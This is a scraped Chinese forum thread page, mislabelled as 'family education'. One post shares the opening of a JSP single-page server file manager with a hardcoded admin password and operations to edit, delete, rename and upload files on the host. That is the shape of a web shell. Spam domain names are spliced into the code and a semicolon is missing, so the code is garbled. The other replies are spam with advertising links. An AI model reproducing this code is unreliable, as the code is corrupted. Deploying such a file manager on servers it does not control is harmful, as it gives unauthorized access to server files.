发表于 1970-1-1 08:00:00

发表于 1970-1-1 08:00:00

发表于 1970-1-1 08:00:00

奥里淀佐 发表于 2012-12-6 00:47:53

JSP单页面网站文件管理器

    <% //中文字符转换%>

    <%!www.whkfp12.com,www.wxkfp12.com,www.zzkfp12.com,

    public static String UnicodeToChinese(String s){

    try{

    if(s==null||s.equals("")) return "";

    String newstring=null;

    newstring=new String(s.getBytes("ISO8859_1"),"gb2312");

    return newstring;

    }www.bjkfp13.com

    catch(UnsupportedEncodingException e)

    {

    return s;

    }

    }www.cckfp146.com,www.cskfp146.com,www.whkfp146.com,

    public static String ChineseToUnicode(String s){

    try{

    if(s==null||s.equals("")) return "";

    String newstring=null;

    newstring=new String(s.getBytes("gb2312"),"ISO8859_1");

    return newstring;

    }

    catch(UnsupportedEncodingException e)

    {

    return s;

    }

    }

    %>

    <%

    //刷新问题

    response.setHeader("PRagma","No-cache");

    response.setHeader("Cache-Control","no-cache");

    response.setDateHeader("Expires", 0);

    //自定义登陆用密码和用户名

    //正确的用户名

    String username="admin"

    //正确的密码

    String userpass="oddworld";

    //得到系统路径

    ServletContext app=(ServletContext)pageContext.getServletContext();

    String strSysPath = app.getRealPath("/");

    //处理对象物理路径

    String strDealPath="";

    //显示错误信息

    String strErr="";

    //代表页面的显示状态,login 是显示登陆页面;show 是正常的显示文件信息;edit 是显示编辑文件的页面;editDo 是编辑文件的写入作

    ;createF 是显示创建文件夹的页面;createFDo 是创建文件夹的作;renameFold 是显示更改文件夹名称的页面;renameFoldDo 是更改文

    件夹名称的作;delFoldDo 是删除文件夹的作;renameFile 是显示更改文件名称的页面;renameFileDo 是更改文件名称的作;

    delFileDo 是删除文件的作;uploadFile 是显示上传文件的页面;uploadFileDo 是上传文件的作;

    String strStat="login";

    //用于show 状态下显示文件的数组

    File[] fileArr=null;

    //根据传递的路径参数得到要处理对象的物理路径

    if (request.getParameter("path")==null || request.getParameter("path").equals("")){

01峰杜刺 发表于 2012-12-14 22:19:41

我惊呆了,好贴啊,很难得的好贴

qlgvq 发表于 2012-12-16 03:27:03

不看不知道,看了才知道,好帖











static/image/common/sigline.gif
http://www.jn-xy.com  http://www.dai163.net

发表于 1970-1-1 08:00:00

天马行空7a 发表于 2012-12-19 14:53:04

鉴定完毕!











static/image/common/sigline.gif
铝银浆http://www.bdjinuo.com/,深圳做网站公司http://www.58bing.cn/

天马行空4o 发表于 2012-12-19 17:03:18

真的牛,双手赞成,谢谢了











static/image/common/sigline.gif
LED射灯www.centurylight-led.cn,壳牌润滑油www.shell66.com,弹珠机www.szdingquan.com

发表于 1970-1-1 08:00:00

页: 1 2 [3] 4 5 6 7 8 9 10 11 12
查看完整版本: 家庭教育